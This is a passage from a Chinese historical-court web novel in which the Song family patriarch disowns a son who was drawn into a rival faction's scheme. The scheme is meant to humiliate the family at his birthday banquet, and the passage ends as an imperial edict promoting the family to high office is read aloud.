席间,黄英杰对他这个‘前辈’不吝赞誉,提及他在徐州任别驾时的政绩,更惋惜那场天灾断送了他的前程,一番话听得宋砚声心花怒放,连连敬酒。 更令他心动的是,黄英杰暗示可在首辅面前为他美言,纵使不能官复原职,谋个五品闲职亦非难事。临别之际,黄英杰更是意味深长地提了一句:“听闻宋先生爱女尚待字闺中,舍弟英弘亦未娶,若能结此良缘,岂非美事一桩?” 酒意上涌的宋砚声未及深思,只觉得若能攀上首辅这门亲事,不仅往日恩怨可一笔勾销,宋家重振门楣亦指日可待,当下便含糊应承下来。 黄英杰顺势提议,不如就在宋老爷子寿辰当日下聘,来个双喜临门,宋砚声满口答应,心中只道是给了老父一个天大的惊喜,此事除女儿外,他对家中其他人皆守口如瓶。 正当他沉浸于幻想之中时,老管家前来传唤。宋砚声不疑有他,整了整衣冠,便朝着后院走去,心中盘算着如何向父亲禀报这桩‘喜事’。 刚一踏入后院书房,便觉气氛凝重。 宋鹤年端坐于太师椅上,面沉如水,那双阅尽世情的眼睛如同两把冰冷的利剑,直直刺来,竟让他不由自主地打了个寒颤。 “父亲,您找我?”宋砚声收敛心神,小心翼翼地问道。 宋鹤年并不答话,只是缓缓抬起手,朝他招了招,宋砚声依言近前。 “啪!” 一记响亮的耳光猝然甩在脸上,火辣辣的痛感瞬间蔓延。 宋砚声被打得懵在原地,捂着脸颊,愕然道:“父亲,您……您为何打我?” 话音未落,‘啪’地又是一声,另一边脸颊也遭了殃。 “打你?我恨不能打死你这个糊涂东西!”宋鹤年怒极,猛地抓起靠在桌边的紫檀木拐杖,劈头盖脸便是一棍! 宋砚声吃痛,踉跄后退,又是委屈又是不忿:“父亲!就算要打要杀,也总得让儿子死个明白!我究竟做错了什么?” “跪下!”宋鹤年以杖顿地,声色俱厉,那目光中的寒意几乎凝成实质。 宋砚声心下一颤,不敢再辩,‘’噗通’一声跪倒在冰冷的地面上。 宋老爷子这才厉声喝问:“我问你,千面鼬家的小崽子,还有安家那条哈巴狗,是不是你叫来的?” 第一卷 第481章 读书人的风骨 宋砚声这才恍然,原来父亲是为这事动怒,忙不迭解释道:“父亲原是为这个?儿子本想给您一个惊喜,没想到您这么快就知道了……” “惊喜?”宋鹤年气得浑身发抖,手中拐杖指向儿子,声音带着压抑不住的痛心与失望,“我看你是想气死我,好早日分了这家业!说!你还瞒着我做了多少见不得人的勾当?” 面对父亲仿佛能洞悉一切的目光,宋砚声心底那点侥幸彻底溃散,冷汗涔涔而下,再不敢隐瞒,只得将醉仙楼宴饮、黄英杰的许诺、乃至那桩尚未言明的‘婚事’和盘托出。 听着儿子的叙述,宋鹤年的脸色由红转青,由青变白,握着拐杖的手剧烈颤抖,指节因用力而泛白。 他猛地吸了一口气,却似被什么东西堵住,身形晃了晃,险些栽倒。 “你……你竟敢……竟敢背着我,将宋家百年清誉,将我这张老脸……如此轻易地卖与仇讎!”老爷子声音嘶哑,每一个字都像是从齿缝间挤出来,带着无尽的悲凉与愤怒。 宋鹤年胸膛剧烈起伏,那双阅尽沧桑的眼眸中,愤怒与失望交织,如同冰火交织的深渊,死死盯着跪在地上不敢抬头的宋砚声。 “好,很好啊!”他声音嘶哑,每个字都像是从喉咙深处艰难挤出,带着刺骨的寒意,“宋砚声,你真是长本事了!如今竟能绕过为父,擅自替整个宋家做决定了!” 宋砚声张了张嘴,本想辩解几句,可一触碰到父亲那如同万年寒冰般的眼神,所有的话语都冻结在喉间,最终化为无声的沉默,将头埋得更低。 “宋家落到今日这般后继无人的境地,是我宋鹤年教子无方,怨不得你们……”宋老爷子声音陡然拔高,如同惊雷炸响在寂静的后院,拐杖重重顿地,“但!就算宋家山穷水尽,就算我宋鹤年行将就木,我也绝不会向他黄千浒低头!非是我自命清高,强撑什么文人风骨!” 他目光如炬,雪白的胡须因激动而微微颤抖:“是咱们宋家人骨子里的教养,是祠堂里列祖列宗的教诲,不允许我向这等祸乱朝纲、结党营私的奸臣贼子折腰!” “黄党把持朝政,蒙蔽圣听,致使天下乌烟瘴气!我宋家今日若低了头,不仅百年清誉毁于一旦、遗臭万年,更会让后世的天下读书人从此在权奸面前,永远——永远也直不起腰杆来!” 就在这时,一阵急促的脚步声由远及近,小儿子宋云舟气喘吁吁地跑进后院,脸上带着几分复杂难明的神色,急声禀报道:“爹!小璃来了!” 宋鹤年满腔的怒火像是被什么东西骤然打断,他神色一凝,追问道:“谁?” “是二姐家的苏璃!还有……还有凌川!”宋云舟清晰地重复道。 宋府门外,一辆朴实无华的马车悄然停稳,并未引起过多注意,车厢内,凌川宽厚的手掌紧紧包裹着苏璃微凉的小手,他能清晰地感受到那细腻掌心中沁出的潮湿与微颤。 凌川心中明镜似的,苏璃此刻的忐忑,皆因那份深埋心底的愧疚。 宋家这些年备受打压,虽非苏家直接导致,却实打实地受了牵连。 往昔苏家鼎盛时,岳父苏定方性格刚直,外公宋鹤年更是两袖清风,宋家并未借此谋取多少实际利益,为此,除了大舅宋敬芝,另外两位舅舅私下里早有微词。 如今苏家倾覆,宋家被殃及池鱼,成了黄党与齐党联手排挤的对象,却是不争的事实。这一路上,苏璃紧抿着唇,眉眼间写满了近乡情怯的忧虑。 “走吧,娘子!”凌川紧了紧她的手,声音沉稳有力。 苏璃深吸一口气,仿佛要汲取足够的勇气,这才扶着凌川的手走下马车。 抬眸望去,宋府的门庭与一年前相比,并未有太大变化,只是那朱漆大门似乎又斑驳了几分,大舅宋敬芝正站在门前,忙碌地迎接着往来宾客。 宋敬芝几乎在同一时间也看到了苏璃。事实上,自凌川班师回朝的消息传遍神都起,宋家便一直关注着。 然而时至今日,除了那位痴迷工械、不通世故的娄桓侍郎,竟再无其他官员到凌川落脚之地拜访。 缘由不言自明,眼下神都局势波谲云诡,无论是以黄千浒为首的‘黄党’,还是以齐清远为核心的齐党,皆视凌川为眼中钉。 更重要的是,陛下的态度至今暧昧不明,在这种时候,明哲保身才是官场常态。 宋家同样保持了距离,除了上述原因,家族内部,尤其是三弟宋砚声和四弟宋云舟,更是将宋家如今的困境归咎于苏家,怨气难平。 “小璃!”宋敬芝眼中掠过一丝不易察觉的激动与复杂,率先开口,随即快步迎了上来。 “苏璃,见过舅父!”苏璃敛衽行礼,声音带着一丝难以抑制的微颤,那一声‘舅父’,唤得百转千回,蕴藏了太多难以言说的情感。 “凌川,见过舅父!”凌川亦抱拳,姿态恭敬而不失气度。 宋敬芝连忙伸出双手,虚扶二人,语气带着长辈特有的关切与热情:“快免礼,快免礼!都是一家人,何须如此客套!” “大舅,外公他老人家,还有家里人都还好吗?”苏璃抬起微红的眼眶,轻声问道。 “都好,都好!”宋敬芝连连点头,目光转向凌川,仔细端详片刻,眼中流露出毫不掩饰的赞许,“早就听闻我这外甥女婿年少英雄,在北疆屡建奇功。今日一见,果然是气宇轩昂,卓尔不群!” “舅父过誉了!”凌川谦和一笑,应对得体。 苏璃见状,脸上浮现一抹赧然,轻声嗔道:“大舅,哪有您这样夸自家人的……” 然而,这片刻的温馨,被一道尖酸刻薄的声音骤然打破。 “哎!可别忙着套近乎,谁跟你们是一家人了?” 众人循声望去,只见宋清欢与一名锦衣青年并肩走来,正是四房之子宋清泉,两人脸上皆挂着毫不掩饰的倨傲与嫌恶,步伐咄咄逼人。 见他们来者不善,苏璃的眉头不由微微蹙起。 第一卷 第482章 戴罪之身 “苏璃,你不是被朝廷发配到北疆充作罪女了吗?怎么还敢跑回神都?”宋清欢双手环抱胸前,下颌微抬,语气刻薄至极。 一旁的宋清泉立刻帮腔,嗤笑道:“就是!苏璃,你也不掂量掂量自己现在的身份!一个戴罪之身,也好意思踏我们宋家的门?你配吗?” “放肆!”宋敬芝勃然变色,厉声呵斥,“她是你们二姑的亲生女儿,是你们的表姐!谁允许你们如此无礼说话的?” “大伯,我们说的难道不是事实吗?”宋清欢毫不退让,脸上满是愤懑不平,“您难道忘了,我们宋家是怎么从门庭若市落到如今这般冷清模样的?您让她进去,岂不是玷污了我们宋家的门槛,让列祖列宗蒙羞?” 凌川敏锐地察觉到苏璃的身躯微微一僵,呼吸也急促了几分。他轻轻拍了拍她的肩膀,递去一个安抚的眼神,温声道:“没事,交给我!” 说罢,他缓步上前,挡在苏璃身前,目光平静地落在宋清欢脸上,语气听不出喜怒:“敢问这位小姐是?” “哼!”宋清欢从鼻孔里哼出一声,极尽轻蔑地将脸扭向一旁,“你算个什么东西?也配打听本小姐的名讳!” 凌川不以为意,唇角勾起一抹淡漠的弧度,声音却清晰得让周围所有人都能听见:“在下不才,蒙陛下恩典,授镇北将军之职。今日特携内子,前来为宋老爷子贺寿。依小姐之言,莫非我这陛下钦封的将军,也不配进你宋家的大门?” “你……”宋清欢没料到凌川会直接亮出官身,一时语塞。她虽是一介女流,却也深知‘陛下钦封’这四个字的分量,脸上那嚣张的气焰顿时弱了几分。 “哼!镇北将军怎么了?”宋清泉见状,梗着脖子强辩道,“在我们宋家这样的书香门第面前,区区五品武官,也就只配给我们看看门!” 此言一出,连宋敬芝都不由得倒吸一口凉气,他万万没想到自家子侄竟狂妄无知到此等地步,公然羞辱一位战功赫赫的边军将领,这若是传扬出去…… “放肆!” 一声炸雷般的怒喝自身后响起,只见洛青云龙行虎步而来,面色铁青,周身散发着久经沙场的凛冽杀气,目光如刀般刮过宋清泉二人:“你们好大的狗胆!竟敢当众羞辱镇北将军,依军律,我就算当场将尔等格杀,也只能算是维护圣颜!” 凌川却微微抬手,制止了怒不可遏的洛青云。 他脸上依旧带着那抹让人捉摸不透的淡笑,目光却渐渐转冷:“早就听闻宋家乃诗礼传家,数百年来名臣大儒辈出,清流典范,若宋家门槛果真高不可攀,我凌川在此为宋家看门护院,倒也无妨。” 他话锋一转,语气陡然变得锐利起来:“只是,若他日陛下问起,我这位镇北将军为何在岳祖父寿辰之日立于门外不得入内……还需劳烦二位,亲自向陛下解释清楚!” 这番话如同冰水泼面,宋清欢与宋清泉瞬间脸色煞白,冷汗涔涔而下,他们可以不在乎凌川,却无法不畏惧那深宫之中的九五之尊。 宋清欢嘴唇哆嗦着,慌忙改口:“你……你自然是可以进去的!但……但她不行!”她颤抖的手指,依旧固执地指向凌川身后的苏璃。 “对!没错!她乃戴罪之身,绝不能进我宋家大门!”宋清泉也硬着头皮附和,只是底气已远不如前。 然而,这一次,凌川脸上的最后一丝笑意彻底消失无踪。他目光骤然变得锐利无匹,宛如两把出鞘的寒刃,直直刺向二人,声音不大,却带着不容置疑的决绝与威压: “她,苏璃,是我凌川结发妻子!更是宋老爷子嫡亲的外孙女!谁要是再说她戴罪之身,我凌某人第一个砍他的脑袋!” 那凛冽的气势,竟让宋清欢二人不由自主地后退了半步,一时噤若寒蝉。 “都给我住口!宋家还轮不到你们两个小辈在此做主!滚下去!”宋敬芝适时一声暴喝,彻底镇住了场面。 凌川不再多看那两人一眼,转身紧紧握住苏璃的手,在众多宾客复杂目光的注视下,挺直脊梁,步履坚定地携着她,一步步踏入宋家大门。 宋府庭院之内,宾客云集。 能踏入此门的,非是朝中要员、京畿显贵,便是与宋家利益休戚与共、早已无法抽身的世交故旧。 满堂衣冠,或低声寒暄,或交换着眼色,空气中弥漫着一种心照不宣的凝重。 在这片看似和谐的景象中,独坐一隅的黄英弘与安济二人,便显得格外刺眼,宛如白帛上的墨点,无声宣告着某种不谐。 “镇北将军凌川,携苏璃小姐,前来为宋老爷子贺寿!” 知客一声清朗的通传,如同在平静的湖面投下一颗石子,瞬间吸引了所有目光。 这位名震北疆的少年将军,在场绝大多数人未曾谋面,但其事迹早已传遍神都大街小巷,成为茶余饭后的谈资。此刻见他现身宋家寿宴,不少人心中暗潮涌动,揣测着此举背后深意。 凌川在宋敬芝的引领下步入庭院,目光如电,迅速扫过全场,自然也落在了那两位‘熟人’身上。 他嘴角微不可察地扬起一丝弧度,竟指着黄英弘所在的那一桌,对宋敬芝道:“大舅,我看那桌尚有空位,我们便坐那里吧!” 宋敬芝闻言,面色微变,正要劝阻,凌川却已牵着苏璃,步履从容地走了过去,坦然落座。洛青云如影随形,立于二人身后,眼神警惕。 凌川的屁股刚挨着凳子,一旁的安济便如被踩了尾巴的猫,猛地扭头,怒目而视:“谁让你们坐这儿的?” 凌川心知对方存心刁难,面上却不动声色,淡然一笑:“见此处有空位,便坐下了!怎么,这位置是刻了安公子的大名,还是旁人坐不得?” 说罢,他将目光转向一直冷眼旁观的黄英弘,语气平和,仿佛在与老友寒暄:“黄公子,当日朱雀大街一别,近来可还安好?” 第一卷 第483章 提亲? 黄英弘眼中戾色一闪,随即化为冰冷的讥诮:“你能活到现在,倒是让本公子颇为意外。” “哦?”凌川眉梢微挑,故作讶异,“听黄公子此言,莫非昨夜那些不入流的刺客,是公子派来与凌某打招呼的?” “凌川!你休要血口喷人!”黄英弘脸色一沉,厉声喝道,“就凭你,也配让本公子费心?碾死你,不过如同碾死一只蚂蚁!” 凌川直视着他,目光中带着毫不掩饰的轻蔑,缓缓道:“若不是仗着你爹的势,黄英弘,你觉得自己又算个什么东西?” 出乎意料,黄英弘非但不怒,反而得意地笑了起来,姿态嚣张至极:“你说得对!可本公子就是会投胎,就是有个好爹!我便是仗着家世在这神都横着走,你……又能奈我何?” “古人云,做人莫要太张狂,容易遭报应!”凌川摇了摇头,手指虚点黄英弘面门,语气带着几分玄乎,“我观黄公子印堂发黑,隐有晦暗之气缠绕,此乃大凶之兆。近期还是少出门为妙,免得……祸及自身。” 黄英弘到底年轻,养气功夫远不及其父,三言两语便被激得勃然大怒,猛地撑桌而起,身体前倾,几乎是从牙缝里挤出声音:“凌川!你休要得意!这神都,迟早是你的葬身之地!就跟……” 他话音一顿,阴冷的目光转向一直沉默的苏璃,嘴角扯出一个恶毒的笑容,“就跟一年前,你那不知死活的老丈人苏定方一样!” 凌川清晰地感觉到苏璃的手猛地一颤,他立刻用力握住,传递着无声的支持与温暖。他的目光依旧牢牢锁在黄英弘脸上,声音平稳却带着金石般的坚定:“黄公子放心,凌川命硬,定会活得比你长久。” 不多时,宋清欢与宋清泉也凑了过来,刻意坐在黄英弘身侧,殷勤地为其斟茶递水,看向凌川与苏璃的目光,充满了鄙夷与不屑,仿佛与他们同席都是一种玷污。 随着吉时将至,寿星公宋鹤年终于在四子宋云舟的搀扶下,自内院缓步而出。 老爷子身着一袭暗红色万字纹锦袍,手持那根熟悉的紫檀木拐杖,虽年事已高,步履略显蹒跚,但腰背依旧挺直,目光扫过全场,自有一番威严。 他的视线在凌川与苏璃身上停留片刻,眼中闪过一丝不易察觉的慈爱与复杂,微微颔首示意。 “诸位亲朋,诸位同僚!”宋老爷子站定,声音洪亮,清晰地传遍庭院,“承蒙诸位不弃,拨冗前来为老朽贺寿,宋鹤年在此,谢过大家!”他抱拳,向着四方宾客郑重一礼。 众人纷纷起身还礼,场面一时颇为庄重。 按常理,接下来便是开席,然而宋老爷子却并未宣布宴席开始,而是话锋一转,继续开口:“趁此良辰,老朽向诸位介绍两位贵客。” ‘贵客’二字一出,场中顿时一静,许多人下意识地将目光投向了黄英弘。 难道传言是真?宋家终究要向黄党低头了?若真如此,他们这些与宋家绑在一处的官员,前途堪忧……一时间,不少人心中七上八下,屏息凝神。 宋清欢更是面露得色,连忙用胳膊肘轻轻碰了碰身边的黄英弘,低声道:“黄公子,快,老爷子介绍您呢,快起身啊!” 黄英弘眼底掠过一丝戏谑与傲慢,整了整衣袍,好整以暇地站起身来,双手抱拳,正准备接受这万众瞩目的时刻。 然而,宋老爷子苍劲有力的声音,却如同一记响亮的耳光,猝然扇在他的脸上: “镇北将军凌川,想必诸位皆有耳闻,他,正是老朽的外孙女婿!今日,他与外孙女苏璃一同前来,老朽心中,甚感欣慰!” 话音刚落,满场皆寂。 已经摆好姿态、准备接受众人恭维的黄英弘,就那样僵硬地站在原地,抱拳的双手悬在半空,放也不是,不放也不是。 他脸上的笑容瞬间凝固,随即转为铁青,颜色难看至极,仿佛能滴出墨来。 凌川与苏璃相视一眼,从容起身。凌川抱拳,不卑不亢:“晚辈凌川,初至神都,恰逢外公寿辰,蒙诸位前辈莅临,蓬荜生辉,凌川在此谢过!” 得知宋老爷子郑重介绍的竟是凌川夫妇,而非黄英弘与安济,那些提心吊胆的宾客顿时如释重负,长长舒了一口气。紧接着,热烈的掌声与赞誉之声此起彼伏: “凌将军威名赫赫,今日得见,果然名不虚传!” “少年英雄,国之栋梁!苏小姐得此佳婿,苏老将军在天之灵,亦可安息了!” “恭喜宋老爷子,得此贤外孙女婿,实乃宋家之福啊!” 黄英弘在一片对凌川的赞誉声中,悻悻地收回僵硬的双手,脸色阴沉得能拧出水来。 坐在他身旁的宋清欢,只觉得风头全被苏璃抢去,心中妒火中烧,看向苏璃的眼神更是如同淬了毒针。 众目睽睽之下,黄英弘何曾受过如此冷落与羞辱?他心高气傲,岂能容忍被凌川压过一头?只见他深吸一口气,强行压下怒火,再次开口,声音刻意拔高,瞬间盖过了现场的嘈杂: “诸位!请静一静!” 场面再次安静下来,所有人的目光重新聚焦到他身上。 宋清欢心头一喜,心知是黄英弘要宣布提亲之事,脸上重新绽放出期待的笑容,浑然未觉对方眼中那抹计划得逞的狡黠与冰冷。 黄英弘面向宋老爷子,朗声道:“宋老爷子,晚辈今日登门,除却为您老人家祝寿,尚有一事!” 宋老爷子静静看着他,并未接话。 黄英弘顿了顿,享受了一下全场的注目,才继续说道:“晚辈与府上清欢小姐,一见倾心,两情相悦。今日,特借此良机,向老爷子提亲!” “提亲?” “黄英弘不是早已与宁王府的郡主有婚约在身吗?” “这……这是唱的哪一出?” 现场顿时一片哗然,众人面面相觑,皆是一脸的不可思议与困惑,就连早已知晓部分内情的宋老爷子,眼神也瞬间变得无比阴沉,握着拐杖的手背青筋隐现。 第一卷 第484章 践踏尊严 面对众人的质疑,黄英弘嘴角那抹冷笑愈发明显,带着一种残忍的快意,扬声道:“不错!我与宁王府毓秀郡主确有婚约,此乃父母之命,媒妁之言,晚辈不敢违背。” 他话锋陡然一转,目光扫过脸色瞬间煞白的宋清欢,语气轻佻:“然,我与清欢小姐乃是真心相爱,情难自禁。今日登门,乃是恳请老爷子成全,允许我纳清欢小姐——为妾!” “纳妾?” 这两个字如同惊雷,炸得整个庭院鸦雀无声,落针可闻。 宋砚声与宋清欢父女二人,如同被瞬间抽走了魂魄,僵立当场。 宋砚声脸上的血色霎时褪尽,身体不受控制地剧烈颤抖起来,眼前阵阵发黑,若非强撑着,几乎要瘫软在地。 他此刻才彻底明白,从头至尾,自己都落入了对方精心设计的圈套之中,什么前程,什么姻缘,对方从一开始,就是要借着寿宴,将宋家的脸面踩在脚下践踏。 宋清欢脸上的期待与笑容彻底粉碎,她瞪大了眼睛,用一种近乎崩溃的、不可思议的眼神望着近在咫尺的黄英弘,声音带着哭腔和颤抖:“黄……黄公子?你,你刚才说什么?纳……纳妾?你之前明明说过要娶我的!是明媒正娶!” 黄英弘垂下眼帘,用一种居高临下、充满鄙夷的目光看着她,嗤笑道:“我是说了要娶你,可何时说过要娶你为正妻?更何况……” 他刻意拉长语调,目光扫过宋家略显陈旧的庭院,“就凭你一个没落世家的旁系女子,能给本公子做妾,已然是你几辈子修来的福分,是你——高攀了!” “轰……” 这番话,如同在滚油中泼入冷水,整个寿宴现场彻底炸开! 屈辱、愤怒、震惊、怜悯……种种情绪在宾客间弥漫。 这哪里是提亲?这分明是蓄谋已久的、在众目睽睽之下对宋家最恶毒的羞辱,是要让这传承数百年的清流门第,彻底沦为整个神都士林的笑柄。 宋清欢哇地一声,积攒的委屈、羞愤与绝望瞬间爆发,痛哭失声,整个人几乎瘫软在地。 宋砚声目眦欲裂,指着黄英弘,气得浑身哆嗦,却一个字也说不出来。 黄英弘脸上洋溢着奸计得逞后的快意,他好整以暇地欣赏着宋砚声那因绝望而扭曲的面孔,以及宋清欢那哭得梨花带雨、羞愤欲绝的模样。 这种将他人尊严踩在脚下肆意蹂躏的感觉,让他心中涌起一股病态的满足。 事实上,这一切早在他的父亲,那位权倾朝野的首辅大人算计之中。 从街头那场精心安排的偶遇,到醉仙楼看似推心置腹的宴饮,再到今日寿宴上这出提亲大戏,环环相扣,最终的目的只有一个,那就是借着宋鹤年寿辰这宾客云集的场合,将宋家传承数百年的清誉与风骨,彻底撕碎,踩入泥沼,让其成为神都上下最大的笑柄,永世不得翻身。 黄英弘以一种胜利者的倨傲姿态,睥睨着主位上面色铁青的宋老爷子,故意拔高声音问道:“宋老爷子,晚辈这番诚意,想必您老人家……不会反对吧?您看,我这聘礼可都备好了!” 说罢,他懒洋洋地将手伸向一旁的安济,安济立刻会意,如同献宝般,从怀中取出一物,双手奉上。 那并非想象中象征吉祥如意的玉璧或钗环,而是一块玉琀! 而且是一块质地杂驳、雕工粗劣,边缘甚至带着明显磕碰残缺的玉琀,玉色灰暗,杂质遍布,分明是市面上最廉价、甚至无人问津的劣等货色,撑死了也就值几个铜板。 此物一出,满场皆惊! 且不论其价值连寻常定亲信物都不如,单说这玉琀本身,乃是置于逝者口中的葬玉,带着极重的阴煞晦气。 在寿宴这等喜庆场合,以此物作为‘聘礼’,其用心之恶毒,羞辱之刻骨,已不言自明,这已不是简单的轻视,而是要将宋家钉在耻辱柱上,受尽世人鄙夷。 无数道目光聚焦在那块残破的玉琀上,又转向主位上的宋鹤年,空气凝重得几乎能滴出水来,所有人都想知道,这位以风骨刚直著称的老臣,将如何应对这等奇耻大辱。 然而,出乎所有人意料,宋老爷子脸上的怒色竟缓缓敛去,取而代之的是一种深潭般的平静。 他甚至还扯动嘴角,露出一丝难以捉摸的淡笑,声音平稳得不带一丝波澜: “黄公子真有心了……”他目光如古井,深不见底,“劳烦公子回去后转告令尊,你们黄家的这份‘厚意’,我宋家收到了!” 话音刚落,他不待黄英弘反应,微微侧身,对侍立身旁多年的老管家低声吩咐了一句,老管家神色一凛,重重点头,随即转身快步向内院老宅走去。 宋老爷子这才重新面向满堂宾客,深吸一口气,苍老却依旧挺直的身躯仿佛蕴含着无穷的力量,朗声道:“正好!今日诸位高朋满座,老朽便借此机会,宣告一事,还请诸位做个见证!” 此言一出,刚刚稍有缓和的气氛再度紧绷起来,众人心中念头飞转,惊疑不定——宋老爷子这是要做什么?难道真要忍下这份屈辱,默认这桩荒唐的纳妾?若真如此,宋家数百年清名,可就真的毁于一旦了! 就在这万众瞩目、屏息凝神之际,宋老爷子目光如电,扫过瘫软在地、面如死灰的宋砚声,以及那犹自哭泣的宋清欢,声音陡然变得斩钉截铁,带着一种不容置疑的决绝: “老夫宣布!自即日起,宋砚声一房,从我宋氏族谱之中除名!从此之后,无论他飞黄腾达、还是饿死街头,皆与我宋氏本宗,再无半点瓜葛!诸位在场,皆为见证!” “轰!” 这话如同九天惊雷,在每个人脑海中炸响! 全场陷入了一片极致的死寂,落针可闻! 所有人都被这石破天惊的决定震住了,他们想过宋老爷子会怒斥,会拒绝,甚至可能拂袖而去,却万万没想到,这位古稀之年的老人,竟如此刚烈决绝,不惜大义灭亲,以如此惨烈的方式,来维护宋家那不容玷污的门风与脊梁。 第一卷 第485章 一份大礼 短暂的寂静之后,便是汹涌的敬佩与唏嘘,众人心中无不暗叹:宋鹤年还是当年的大学士!这身硬骨头,几十年了,还是一点都没变! “父亲……父亲!不要啊!”瘫坐在地的宋砚声如遭五雷轰顶,瞬间从呆滞中惊醒,连滚爬爬地扑向宋鹤年,涕泪横流,抱住老人的腿哀嚎道,“我知道错了!儿子知道错了!求求您,别赶我出家门!我不能被除名啊父亲!” 然而,宋老爷子只是用那根紫檀木拐杖,坚定而缓慢地格开了儿子的手,眼神冰冷,没有半分动摇:“从现在起,你不再是我宋家之人。至于你的女儿……” 他目光扫过呆若木鸡的宋清欢,语气淡漠如冰,“她是给人为妾,还是为奴为婢,皆是她自家选择,与我宋家……没有半点关系!” 说完,他不再看那对父女,转而将锐利如鹰隼的目光,直刺向脸色微变的黄英弘,字字铿锵,如同金石坠地: “黄公子,也请你听好,并转告令尊!我宋家,哪怕门庭冷落,哪怕后继无人,也绝不会向千面鼬,以及齐清远这等结党营私、祸乱朝纲的国贼低头!凡我宋氏子孙,若有敢与彼辈沆瀣一气、玷污门楣者,我宋鹤年——绝不姑息!” 这番话,掷地有声,气贯长虹,仿佛一道无形的冲击波,涤荡着庭院中弥漫的屈辱气息。 “好!说得好!”一名与宋家交好的官员激动得满脸通红,忍不住拍案而起,高声喝彩,“宋公高义,铁骨铮铮,实乃吾辈读书人之楷模!” “宋公放心!吾等必与宋公同进退誓与国贼抗争到底!纵使肝脑涂地,亦在所不惜!” 一时间,群情激昂,众多宾客纷纷起身,扬声附和,原本被黄英弘打压下去的气势,竟被宋老爷子这番决绝之言重新点燃! 黄英弘看着这突如其来的逆转,脸上那得意的笑容彻底消失,取而代之的是一抹阴鸷与恼羞成怒。 他冷哼一声,声音不大,却清晰地压过了现场的嘈杂,充满了不屑与威胁: “呵……一群不识时务的蠢货!就算是宋家鼎盛之时,在我父亲面前也不过是土鸡瓦狗!更何况如今大厦将倾,就凭你们这群乌合之众,也妄想蚍蜉撼树?真是可笑至极!” 就在这剑拔弩张、气氛再次凝固的时刻,一直静观其变的凌川,缓缓站起身来。他步履沉稳地走到庭院中央,先是向着主位上的宋鹤年恭敬一礼,声音清越,瞬间吸引了所有人的注意: “外公!晚辈今日有一份大礼要带给宋家!” 宋老爷子目光微动,带着询问看向他。 不待宋老爷子开口,那本就因羞愤而濒临崩溃的宋清欢,仿佛找到了发泄口,猛地抬起头,如同疯妇般指着凌川尖声叫道: “凌川!你算个什么东西?不过是一介边陲泥腿子出身!我们宋家乃是数百年世家,什么奇珍异宝没见过?你竟敢在此大言不惭,说什么送大礼?真是不知天高地厚!” 她今日受尽屈辱,不敢得罪黄英弘,只能将这滔天的怨毒与怒火,尽数倾泻到软柿子的凌川身上。 然而,凌川连眼皮都未曾抬一下,完全无视了她的狂吠。 在众人或好奇、或鄙夷、或期待的目光中,他神色平静地从袖中,缓缓取出一物。 那赫然是一道卷轴! 卷轴以黑犀角为轴,轴头精心雕琢着威严的螭龙纹饰卷身所用的面料,乃是上等的桑蚕丝织就的提花锦缎,阳光下隐隐流动着温润光泽,其上以金线绣制的龙纹,虽未完全展开,却已透出一股令人心悸的皇家威严与磅礴气势! 整个庭院,霎时间万籁俱寂,所有人的目光,都被那道小小的卷轴牢牢吸住,再也无法移开。 黄英弘脸上的不屑瞬间凝固,瞳孔微不可察地收缩了一下,宋老爷子更是猛地握紧了手中的拐杖,身体微微前倾。 “圣旨到!” 凌川清越的声音如同玉磬敲响,瞬间传遍整个庭院。满堂宾客无论身份高低、立场如何,皆迅速离席,整整齐齐地跪伏于地,垂首屏息。 宋老爷子见状,亦要撩袍下跪,凌川已快步上前,伸手虚扶,扬声道:“陛下有口谕,念及宋老爷子年事已高,功在社稷,特恩准免跪接旨!” 宋鹤年身体微微一震,浑浊的老眼中闪过一丝动容,朝着皇宫方向深深一揖,声音带着难以抑制的激动:“老臣……谢陛下天恩体恤!” 紧接着,凌川目光一转,如冷电般射向仍杵在一旁、面色阴晴不定的黄英弘与安济二人,语气陡然转厉:“怎么?莫非二位也年事已高,跪不下去了?还是说……你们胆敢藐视天威,对圣旨不尊?” “你……” 黄英弘胸口剧烈起伏,脸色瞬间变得铁青。 他岂会不知凌川这是借势压人,公然给他难堪?然而,在这众目睽睽之下,面对代表皇权的圣旨,饶是他父亲权倾朝野,他也绝不敢背负藐视皇权的罪名。 权衡利弊只在瞬间,黄英弘与安济交换了一个憋屈的眼神,终是咬紧牙关,极不情愿地撩起衣摆,随着众人一同跪了下去,只是那跪姿,怎么看都带着几分僵硬与不甘。 凌川见众人皆已跪定,这才肃然立定,小心翼翼地展开手中那道象征着无上皇权的卷轴。 他清了清嗓子,运足中气,声音洪亮而清晰地宣读起来: “奉天承运皇帝,制曰: 朕绍膺骏命,统御寰区,夙夜孜孜,思得耆德硕彦,共襄至治。咨尔原翰林院学士宋鹤年,三朝元老,清流砥柱。性秉刚方,学通今古。昔侍讲筵,启沃朕心;及居台谏,风骨嶙峋。虽退居林下,犹存社稷之忧。朕甚嘉之。 今特颁纶音,擢尔为文华殿大学士,入阁参赞机务,授内阁次辅之职。尔其振颓纲而挈领,持正气以立朝。匡朕不逮,弼成王道。 尔长子宋敬芝,克绍箕裘,器识宏远。特授吏部左侍郎,佐铨衡之重,务使野无遗贤,朝多君子。 尔四子宋云舟,敏达勤恪,明练章制。特授吏部员外郎,协理选司之事,当以冰鉴自持,激浊扬清,俾仕路肃然。 今委宋门以三要职,实乃国运所系。尔父子其各励精忠,同心辅治。当以尔家世代清节为镜,涤荡瑕秽,整饬纲纪。庶几朝堂重现朗日,天下共沐清风。 钦此!” 第一卷 第486章 清理门户 凌川的每一个字都如同珠玉落地,回荡在寂静的庭院中。 圣旨宣读完毕,宋鹤年伸出布满皱纹、微微颤抖的双手,如同承接千钧重担,无比郑重地接过那道圣旨,紧紧抱在怀中,老泪纵横,声音哽咽却坚定无比: “老臣宋鹤年,领旨谢恩!陛下天恩浩荡,老臣……老臣必当竭尽残年,为帝国鞠躬尽瘁,肝脑涂地!” “谢陛下隆恩!”身后的宋敬芝、宋云舟以及其他宋家子弟齐声高呼,许多人早已热泪盈眶,激动得难以自持。 这一天,他们等了太久太久!陛下终究没有忘记宋家,没有忘记他们这些备受打压的忠良之后! 这位退出朝堂多年的老臣,不仅被重新启用,更是一步登天,直接被擢升为内阁次辅,官居从二品,成为帝国权力核心的一员。 长子宋敬芝一跃成为吏部左侍郎,从三品,手握官员铨选重权;四子宋云舟虽仅为正五品吏部员外郎,但身在号称‘天官’的吏部,其职权与前景,远非其他闲散部门的同品级官员可比。 唯独跪在角落的宋砚声,面如死灰,浑身冰凉。 